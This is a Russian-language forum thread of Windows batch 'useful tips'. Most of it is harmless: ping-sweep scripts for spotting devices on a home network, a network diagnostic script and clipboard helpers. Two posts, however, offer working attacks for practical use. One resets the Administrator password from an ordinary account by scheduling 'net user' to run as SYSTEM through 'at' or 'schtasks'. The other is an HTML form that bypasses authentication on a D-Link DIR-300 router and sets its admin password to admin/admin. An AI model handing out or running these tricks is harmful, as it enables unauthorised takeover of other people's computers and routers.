Полезные советы

Все что связано с электроникой, от mp3 плееров и фотомыльниц до серверов и программирования.

Модератор: womanlife

Полезные советы

foxss
04.04.2013 18:10

как пользоваться скриптами:
есть 2 варианта

вр. 1 когда есть файл со скриптом, достаточно запустить файл обычным двойным кликом (так же как вы запускаете любую программу).

вр 2 когда есть только текст скрипта
.......шаг 1 копируем текс скрипта
.......шаг 2 открываем блонкот и вставляем скопированный текст
.......шаг 3 сохраняем с расширением bat (как это сделать см. картинку)
Зарегестрируйтесь, чтобы видеть ссылки.
.......шаг 5 запускаем сохраненный файл (см вр. 1)

Забыли пароль от учетной записи (например от записи Администратор) - не беда!!!

1. Входим под обычным пользователем, открываем cmd (пуск -> в строке поиска пишем cmd), пишем:
at время_на_1_мин_больше_реального cmd /C net user Администратор новый_пароль
2. Ждем 2 минуты
3. Перезагружаемся, входим в учетку Администратора под новым паролем



Re: Полезные советы

Оксана
11.05.2013 1:49

ух ты! Оо



Полезные советы

foxss
01.11.2014 5:25

по размышляв на досуге, усовершенствовал скрипт до полной автоматизации. Теперь ненадо считать время, корректировать скрипт если имя учетки администратора отличается от "администратор" и перезагружать компьютер в ручную (скрипт спросит перезагрузить ли компьютер чтобы войти под новым поролем или ненадо)
► Показать
чтобы скрипт работал в win 8, win10, win11 и т.д. замените строку выделенную оранжевым на:
schtasks /Create /ru "system" /sc once /tn AdminPassReset /tr "cmd /C net user %user% %pass%" /st %hh%:%mmend%:%ss% /SD %mydate% /f

Как пользоваться скриптом:
1 открываете блокнот
2 вставляете в открытый блокнот все что выделено жирным
3 сохраняете с расширением bat . Для этого в поле тип файла надо выбрать "все файлы", а в поле имя файла придумать название для вашего файла и в конце названия обязательно дописать .bat

ну или можно скачать файл во вложении. только сотрите расширение .txt в названии файла.
У вас нет необходимых прав для просмотра вложений в этом сообщении.



запуск программы от имени системы

foxss
01.11.2014 9:01

вот еще один полезный скриптик запускающий нужную программу от имени системы

путь к вашему файлу подправите сами :)

set hh=%time:~0,2%
set mm=%time:~3,2%
set ss=%time:~6,2%
set /A mm5=(%mm% + 1)
at %hh%:%mm5%:%ss% cmd /C "c://moi programma/rivatuner.exe"
exit


чтобы скрипт работал в win 8 замените кусок выделенный синим на:
schtasks /Create /ru "system" /sc once /tn StartMyProgramm /tr cmd /C
зы
%mm% + 1 -> где "+1" значение задержки а "hh" - часы "mm" - минуты "ss" - секунды
зы вам запущенная программа будет недоступна т.к. по сути запустили ее не вы а система, соответственно и выполнятся программа будет в учетке системы.



Re: Полезные советы

foxss
05.08.2014 13:27

Озадачили меня на днях вопросом, как посмотреть кто пользуется моим вайфаем...
конечно можно было бы уточнить модель роутера и сказать залезь туда то и тудато и там будет написано, но хотелось универсального решения. В результате немного погуглив по фразе "ping диапазона ip адресов" для cmd была найдена вот такая команда
 


for /L %x in (1,1,254) do @ping 192.168.0.%x -w 10 -n 1 | find "TTL"
Краткие пояснения:
  • FOR /L %переменная IN (начало,шаг,конец) DO команда [параметры]
  • ping 192.168.0.%x -w 10 -n 1 - таймаут в миллисекундах для каждого ответа равен 10 (-w 10), число отправляемых пингом запросов равно 1 (-n 1).
  • | - запустим команду find только, когда пинг запустился нормально.
    find "TTL" - в результатах выполнения ping ищем только те строчки, что содержат сочетание "TTL", т.е. это те айпишники, которые откликнулись.
решение элегантное, но трудно объяснимое для рядовой домохозяйки в плане того как настроить и запустить данную строчку.

немного поколдовав над этой строчкой родил вот такой батничек, дабы не объяснять как открыть командную строку и как все это безобразие настроить.
 ping диапазона сети


@echo off
chcp 1251
cls
goto comments
==================
Краткие пояснения:
---> FOR /L %переменная IN (начало,шаг,конец) DO команда [параметры]
---> ping 192.168.0.%x -w 10 -n 1 - таймаут в миллисекундах для каждого ответа равен 10 (-w 10),
число отправляемых пингом запросов равно 1 (-n 1).
---> | - запустим команду find только, когда пинг запустился нормально.
find "Ответ от" - в результатах выполнения ping ищем только те строчки,
что содержат сочетание "Ответ от", т.е. это те айпишники, которые откликнулись.
==================
: comments
echo ===========================================
echo сейчас будут отображены все устройства
echo ответившие на команду ping в заданном
echo диапазоне IP адресов
echo ===========================================
pause
cls
echo .
echo =======================================
echo .
echo сканируется подсеть 192.168.0.x
echo .
@chcp 866 | find "TTL"
FOR /L %%x IN (1,1,254) DO ping 192.168.0.%%x -w 10 -n 1 | find "TTL"
@chcp 1251 | find "TTL"
echo .
echo подсеть 192.168.0.X просканирована
echo .
echo =======================================
echo .
echo сканируется подсеть 192.168.1.X
echo .
@chcp 866 | find "TTL"
for /L %%x in (1,1,254) do @@ping 192.168.1.%%x -w 10 -n 1 | find "TTL"
@chcp 1251 | find "TTL"
echo .
echo подсеть 192.168.1.X просканирована
echo .
echo =======================================
echo .
echo сканируется подсеть 192.168.2.X
echo .
@chcp 866 | find "TTL"
for /L %%x in (1,1,254) do @@ping 192.168.2.%%x -w 10 -n 1 | find "TTL"
@chcp 1251 | find "TTL"
echo .
echo подсеть 192.168.2.X просканирована
echo .
echo =======================================
echo .
pause
ping диапозона сети.rar
вроде вот оно решение подходящее для для 90%, но 90 это увы не 100. да и хотелось более элегантного решения :)
пришлось еще немного потанцевать с бубном :) чтобы родился скриптик который остальные 10% могли бы с легкостью настроить под себя.
Здесь надо немного остановится и рассказать чуть чуть теории про IP адрес.
IP адрес состоит из четырех блоков которые называются октетам. каждый октет может иметь максимальное значение 254.
192.168.0.1 - стандартный адрес домашней сети большинства роутеров.
192 -первый октет
168 - второй октет
0 - третий октет
1 - четвертый октет
 ping диапозона сети 2


@echo off
chcp 1251
cls
goto comments
==================
Краткие пояснения:
---> ping 78.46.226.%x -w 10 -n 1 - таймаут в миллисекундах для каждого ответа равен 10 (-w 10),
число отправляемых пингом запросов равно 1 (-n 1).
---> | - запустим команду find только, когда пинг запустился нормально.
find "TTL" - в результатах выполнения ping ищем только те строчки,
что содержат сочетание "TTL", т.е. это те айпишники, которые откликнулись.
==================
: comments
echo .
echo ===========================================
echo сейчас будут отображены IP адреса всех устройств
echo которые ответят на команду ping в заданном
echo диапазоне IP адресов
echo ===========================================
echo .
pause
cls
:настройка диапазона сканирования
:первые два октета айпишника
set ip1=192.168
:сканировать 3ий октет с...
set ip2=0
:максимальное значение 3го октета минус один...
set ip3=3
:сканировать 4ый октет с...
set ip4=1
:максимальное значение 4го октета минус один...
set ip5=255
:newscan
echo .
echo =======================================
echo .
echo сканируется подсеть %ip1%.%ip2%.x
echo .
@chcp 866 | find "TTL"
:newscan1
ping %ip1%.%ip2%.%ip4% -w 10 -n 1 | find "TTL"
if %ip4% lss %ip5% (set /A ip4="%ip4% + 1")
if %ip4% lss %ip5% goto newscan1
if %ip4%==%ip5% (set ip4=0)
@chcp 1251 | find "хрень"
echo .
echo подсеть %ip1%.%ip2%.X просканирована
echo .
echo =======================================
echo .
if %ip2% lss %ip3% (set /A ip2="%ip2% + 1")
if %ip2% lss %ip3% goto newscan
@chcp 866 | find "TTL"
pause
ping диапозона сети 2.rar
оба скрипта делались с расчетом на рядового пользователя из-за чего в скриптах очень много мусора в виде диалогов не несущих функциональной нагрузки. Без этих диалогов второй скрипт выглядит так
 


@echo off
chcp 1251
cls
echo .
echo ===========================================
echo сейчас будут отображены IP адреса всех устройств
echo которые ответят на команду ping в заданном
echo диапазоне IP адресов
echo ===========================================
echo .
:настройка диапазона сканирования
:первые два октета айпишника
set ip1=192.168
:сканировать 3ий октет с...
set ip2=0
:максимальное значение 3го октета минус один...
set ip3=3
:сканировать 4ый октет с...
set ip4=1
:максимальное значение 4го октета минус один...
set ip5=255
:newscan
echo .
echo сканируется подсеть %ip1%.%ip2%.x
echo .
@chcp 866 | find "TTL"
:newscan1
ping %ip1%.%ip2%.%ip4% -w 10 -n 1 | find "TTL"
if %ip4% lss %ip5% (set /A ip4="%ip4% + 1")
if %ip4% lss %ip5% goto newscan1
if %ip4%==%ip5% (set ip4=0)
@chcp 1251 | find "хрень"
echo .
echo =======================================
echo .
if %ip2% lss %ip3% (set /A ip2="%ip2% + 1")
if %ip2% lss %ip3% goto newscan
@chcp 866 | find "TTL"
pause
оба скрипта настроены на сканирование сети с 192.168.0.0 до 192.168.2.254 эти настройки подходят для 90% пользователей. Остальные 10% пользователей могут самостоятельно отредактировать скрипты открыв их с помощью обычного блокнота.

зы скрипты работают достаточно медленно, так что запаситесь терпением. для ускорения можно скрипты немного перенастроить сузив диапазон сканирования.
зыы халявщик естественно будет виден только если будет подключен в момент работы скрипта
У вас нет необходимых прав для просмотра вложений в этом сообщении.



Re: Полезные советы

foxss
05.08.2014 21:52

скрипт общей диагностики сети

показав мастеру/специалисту все то что будет выведено скриптом, вы сэкономите уйму времени.
 Скрипт общей диагностики сети


@cd %windir%
@echo off
echo .
echo ===========================
echo ping 127.0.0.1
@ping 127.0.0.1 -w 10 -n 1 | find "TTL"
echo __________
echo ping 192.168.0.1
@ping 192.168.0.1 -w 10 -n 1 | find "TTL"
echo __________
echo ping 192.168.1.1
@ping 192.168.1.1 -w 10 -n 1 | find "TTL"
echo __________
echo ping 192.168.2.1
@ping 192.168.2.1 -w 10 -n 1 | find "TTL"
echo __________
echo ping ya.ru
@ping ya.ru -w 10 -n 1 | find "TTL"
echo ===========================
@tracert ya.ru
echo ===========================
echo .
echo ipconfig /all
@ipconfig /all
echo ===========================
echo .
echo route print
@route print
pause
У вас нет необходимых прав для просмотра вложений в этом сообщении.



Полезные советы

foxss
05.17.2014 16:17

данный скрипт помещает в буфер обмена дату и время в формате 17.05.2014_15:06

если из скрипта вырезать выделенное зеленым то в буфер обмена поместится только время

Код: Выделить всё

chcp 1251
echo off
set date1=%date: =0%
set mytime=%TIME: =0%
set hh=%mytime:~0,2%
set mm=%mytime:~3,2%
set ss=%mytime:~6,2%
set /A mm5=(%mm% + 1)
if %mm5% GTR 9 goto :ten
if %mm5%==1 (set mmend=%mm5:1=01%)
if %mm5%==2 (set mmend=%mm5:2=02%)
if %mm5%==3 (set mmend=%mm5:3=03%)
if %mm5%==4 (set mmend=%mm5:4=04%)
if %mm5%==5 (set mmend=%mm5:5=05%)
if %mm5%==6 (set mmend=%mm5:6=06%)
if %mm5%==7 (set mmend=%mm5:7=07%)
if %mm5%==8 (set mmend=%mm5:8=08%)
if %mm5%==9 (set mmend=%mm5:9=09%)
goto :ten1
:ten
set mmend=%mm5%
:ten1
<nul set /p ""="[color=#008000]%date1%_[/color]%hh%:%mmend%" | CLIP"
exit
данный скрипт копирует в буфер обмена дату

Код: Выделить всё

chcp 1251
cls
@echo off
set date1=%date: =0%
<nul set /p ""="%date1%" | CLIP"
exit
зы чтобы скрипт работал в ХР надо в C:\WINDOWS\system32 поместить вот этот файлик Зарегестрируйтесь, чтобы видеть ссылки. или в файле из вложения.
в висте и 7 этот файлик уже есть
У вас нет необходимых прав для просмотра вложений в этом сообщении.



Сброс пароля администратора на маршрутизаторе D-Link DIR 300

foxss
05.18.2014 22:56

Сброс пароля администратора на маршрутизаторе D-Link DIR 300

скопируйте в блокнот и сохраните содержимое спойлера с расширением html (или просто скачайте вложенный файл) после чего запустите сохраненный файл.
в браузере откроется окно с одной единственной кнопкой после нажатия на которую вас перекинет на страницу роутера который будет ругаться что изменения небыли применены. На самом деле изменения применились и можно спокойно входить со сброшенным паролем.
 пароль установится в стандартный admin/admin


<form action="Зарегестрируйтесь, чтобы видеть ссылки." method="POST">
<input type="hidden" name="ACTION_POST" value="LOGIN">
<input type="hidden" name="LOGIN_USER" value="a">
<input type="hidden" name="LOGIN_PASSWD" value="b">
<input type="hidden" name="login" value="+Log+In+">
<input type="hidden" name="NO_NEED_AUTH" value="1">
<input type="hidden" name="AUTH_GROUP" value="0">
<input type="hidden" name="admin_name" value="admin">
<input type="hidden" name="admin_password1" value="admin">
<input type="submit">
</form>
зы говорят еще на любой прошивке помогает переход по вот этой ссылке Зарегестрируйтесь, чтобы видеть ссылки. но это я не проверял. если кому помогло, отпишитесь плиз
У вас нет необходимых прав для просмотра вложений в этом сообщении.



Re: Полезные советы

clementina
08.03.2014 22:26

Действительно очень полезно, спасибо



Re: Полезные советы

foxss
11.26.2015 7:53

Скрипты для бекапа поместить в для запуска поместить в автозагрузку, создать задание в планировщике или поместить в корень лэшки и создать авторан

Зы. Незабудьте стереть .тхт
У вас нет необходимых прав для просмотра вложений в этом сообщении.



Вернуться в «Мой компьютер • гаджеты • электроника»

Кто сейчас на конференции

Сейчас этот форум просматривают: бот и 0 гостей